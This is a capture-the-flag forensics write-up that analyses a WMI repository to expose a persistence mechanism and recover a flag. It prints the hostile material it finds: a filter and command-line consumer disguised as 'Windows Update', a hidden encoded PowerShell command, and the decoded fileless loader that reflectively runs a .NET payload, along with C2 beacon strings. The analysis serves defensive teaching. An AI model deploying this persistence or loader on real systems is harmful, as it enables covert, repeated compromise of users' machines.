Perseverance
During a recent security assessment of a well-known consulting company, the competent team found some employees’ credentials in publicly available breach databases. Thus, they called us to trace down the actions performed by these users. During the investigation, it turned out that one of them had been compromised. Although their security engineers took the necessary steps to remediate and secure the user and the internal infrastructure, the user was getting compromised repeatedly. Narrowing down our investigation to find possible persistence mechanisms, we are confident that the malicious actors use WMI to establish persistence. You are given the WMI repository of the user’s workstation. Can you analyze and expose their technique?
The Artifact
We are handed a copy of the WMI repository, the on-disk CIM database that Windows uses to store WMI class definitions and instances. The five files below are exactly what lives in C:\Windows\System32\wbem\Repository on a real host.
-rwx------ 1 kali kali 5365760 Jun 24 02:23 INDEX.BTR
-rwx------ 1 kali kali 79516 Jun 24 02:23 MAPPING1.MAP
-rwx------ 1 kali kali 79516 Jun 24 02:23 MAPPING2.MAP
-rwx------ 1 kali kali 78900 Jun 24 02:18 MAPPING3.MAP
-rwx------ 1 kali kali 23896064 Jun 24 02:23 OBJECTS.DATA
Each file plays a distinct role in the repository, and knowing the layout tells us where the interesting strings will live.
C:\Windows\System32\wbem\Repository - Stores the CIM database files
OBJECTS.DATA - Objects managed by WMI
INDEX.BTR - Index of files imported into OBJECTS.DATA
MAPPING[1-3].MAP - correlates data in OBJECTS.DATA and INDEX.BTR
These references cover the WMI repository file format and DFIR triage of it:
- https://netsecninja.github.io/dfir-notes/wmi-forensics/
- https://www.mandiant.com/media/10341/download
- https://github.com/libyal/dtformats/blob/main/documentation/WMI%20repository%20file%20format.asciidoc
WMI Persistence Background
The classic WMI persistence pattern is the __EventFilter / CommandLineEventConsumer / __FilterToConsumerBinding trio: an __EventFilter defines a WQL query that fires on some system event, a consumer defines an action (here, a command line), and the binding ties them together so the action runs whenever the filter triggers. A quick strings pass over the repository surfaces all the telltale class and object names.
__SystemSecurity
__EventFilter
root\cimv2
Windows Update
SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 325
CommandLineEventConsumer
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXwBNAGUAbQBvAHIAeQBBAHIAcgBhAHkARABlAHYAaQBjAGUAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAUAByAG8AcABlAHIAdAB5ACcAXQAuAFYAYQBsAHUAZQA7AHMAdgAgAG8AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQApADsAcwB2ACAAZAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGYAaQBsAGUAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAOwBzAHYAIABiACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AKAAxADAAMgA0ACkAKQA7AHMAdgAgAHIAIAAoAGcAdgAgAGQAKQAuAFYAYQBsAHUAZQAuAFIAZQBhAGQAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAxADAAMgA0ACkAOwB3AGgAaQBsAGUAKAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQAgAC0AZwB0ACAAMAApAHsAKABnAHYAIABvACkALgBWAGEAbAB1AGUALgBXAHIAaQB0AGUAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQApADsAcwB2ACAAcgAgACgAZwB2ACAAZAApAC4AVgBhAGwAdQBlAC4AUgBlAGEAZAAoACgAZwB2ACAAYgApAC4AVgBhAGwAdQBlACwAMAAsADEAMAAyADQAKQA7AH0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAoAGcAdgAgAG8AKQAuAFYAYQBsAHUAZQAuAFQAbwBBAHIAcgBhAHkAKAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAwACwAQAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkAfABPAHUAdAAtAE4AdQBsAGwA
Windows Update
__FilterToConsumerBinding
\\.\root\subscription:CommandLineEventConsumer.Name="Windows Update"
\\.\root\subscription:__EventFilter.Name="Windows Update"
WMIBinaryMofResource
C:\Windows\system32\drivers\ndis.sys[MofResourceName]
ofResourceName]
The names already disguise the malicious subscription as a benign-looking “Windows Update” filter and consumer.
Enumerating Persistence with WMI_Forensics
Rather than parse raw strings by hand, David Pany’s WMI_Forensics toolkit parses OBJECTS.DATA and reconstructs the FilterToConsumerBindings, making it trivial to spot rogue subscriptions.
git clone https://github.com/davidpany/WMI_Forensics
python2 WMI_Forensics/CCM_RUA_Finder.py -i OBJECTS.DATA -o test.xls
python2 WMI_Forensics/PyWMIPersistenceFinder.py OBJECTS.DATA
PyWMIPersistenceFinder.py walks the repository and reports two bindings.
Enumerating FilterToConsumerBindings...
2 FilterToConsumerBinding(s) Found. Enumerating Filters and Consumers...
Bindings
The first binding is the standard, legitimate SCM Event Log subscription present on virtually every Windows host.
SCM Event Log Consumer-SCM Event Log Filter
(Common binding based on consumer and filter names, possibly legitimate)
Consumer: NTEventLogEventConsumer ~ SCM Event Log Consumer ~ sid ~ Service Control Manager
Its filter simply watches the Service Control Manager event log, which is expected baseline activity.
Filter name: SCM Event Log Filter
Filter Query: select * from MSFT_SCMEventLogEvent
Windows Update-Windows Update
The Malicious Consumer
The second binding is the malicious one. The “Windows Update” CommandLineEventConsumer launches a hidden, Base64-encoded PowerShell payload, the actual persistence action.
Consumer Type: CommandLineEventConsumer
Arguments: cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXwBNAGUAbQBvAHIAeQBBAHIAcgBhAHkARABlAHYAaQBjAGUAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAUAByAG8AcABlAHIAdAB5ACcAXQAuAFYAYQBsAHUAZQA7AHMAdgAgAG8AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQApADsAcwB2ACAAZAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGYAaQBsAGUAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAOwBzAHYAIABiACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AKAAxADAAMgA0ACkAKQA7AHMAdgAgAHIAIAAoAGcAdgAgAGQAKQAuAFYAYQBsAHUAZQAuAFIAZQBhAGQAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAxADAAMgA0ACkAOwB3AGgAaQBsAGUAKAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQAgAC0AZwB0ACAAMAApAHsAKABnAHYAIABvACkALgBWAGEAbAB1AGUALgBXAHIAaQB0AGUAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQApADsAcwB2ACAAcgAgACgAZwB2ACAAZAApAC4AVgBhAGwAdQBlAC4AUgBlAGEAZAAoACgAZwB2ACAAYgApAC4AVgBhAGwAdQBlACwAMAAsADEAMAAyADQAKQA7AH0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAoAGcAdgAgAG8AKQAuAFYAYQBsAHUAZQAuAFQAbwBBAHIAcgBhAHkAKAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAwACwAQAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkAfABPAHUAdAAtAE4AdQBsAGwA
Consumer Name: Windows Update
Its trigger is a __EventFilter that polls system uptime, firing roughly two to five minutes after each boot, a common way to ensure execution shortly after every restart.
Filter name: Windows Update
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 325
Thanks for using PyWMIPersistenceFinder! Please contact @DavidPany with questions, bugs, or suggestions.
Please review FireEye's whitepaper for additional WMI persistence details:
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
Decoding the PowerShell Stage
Decoding the UTF-16LE Base64 of the -enc argument reveals the loader. It pulls a Base64 blob out of the Property field of a Win32_MemoryArrayDevice WMI class, Deflate-decompresses it into a byte array, and reflectively loads it as a .NET assembly, invoking its entry point. This is a fileless WMI-resident .NET payload.
$file = ([WmiClass]'ROOT\cimv2:Win32_MemoryArrayDevice').Properties['Property'].Value;sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null
Extracting the Embedded .NET Assembly
The PowerShell loader tells us the real payload is a Base64 + Deflate blob stored inside the repository. We can hunt for embedded MOF/binary data using Mandiant’s flare-wmi tooling, and Base64 strings can be found directly with strings.
git clone https://github.com/mandiant/flare-wmi/
References to MOF files may be found in the binary tree index.
- “C:\Windows\System32\wbem\Repository\index.btr”
Listing the repository files and their roles again for reference while hunting:
C:\Windows\System32\wbem\Repository - Stores the CIM database files
OBJECTS.DATA - Objects managed by WMI
INDEX.BTR - Index of files imported into OBJECTS.DATA
MAPPING[1-3].MAP - correlates data in OBJECTS.DATA and INDEX.BTR
To pull the embedded blob, grep the repository for Base64 padding and feed it to CyberChef, which Base64-decodes, Raw-Inflates, and detects the resulting file type as a PE.
strings * | grep '==' -n
Among the decoded artifacts are the payload’s C2 beacon template, a Base64 list of URI paths it requests, and what looks like the leading fragment of the flag stored as a Base64 string.
u"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73"
u"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA=="
u"SFRCezFfd"
HTB{1_
The SFRCezFfd string Base64-decodes to HTB{1_, confirming the flag is split across the assembly. The extracted PE is a .NET assembly, as VirusTotal confirms.
File type Win32 EXE
Magic PE32 executable for MS Windows (GUI) Intel 80386 Mono/.Net assembly
Reversing the Assembly with dnSpy
Because the payload is a managed .NET assembly, dnSpy decompiles it back to near-original C#. Inside, the flag is assembled from four StringBuilder.Append fragments rather than stored as a single literal, a light obfuscation to defeat simple string searches.
StringBuilder stringBuilder = new StringBuilder().Append("SFRCezFfd");
stringBuilder.Append("GgwdWdodF9XTTFfdzRzX2p1c");
stringBuilder.Append("3RfNF9NNE40ZzNtM2");
stringBuilder.Append("50X1QwMGx9");
Concatenating the four fragments yields the full Base64 string.
SFRCezFfdGgwdWdodF9XTTFfdzRzX2p1c3RfNF9NNE40ZzNtM250X1QwMGx9
Flag
Base64-decoding that string reveals the flag.
HTB{1_th0ught_WM1_w4s_just_4_M4N4g3m3nt_T00l}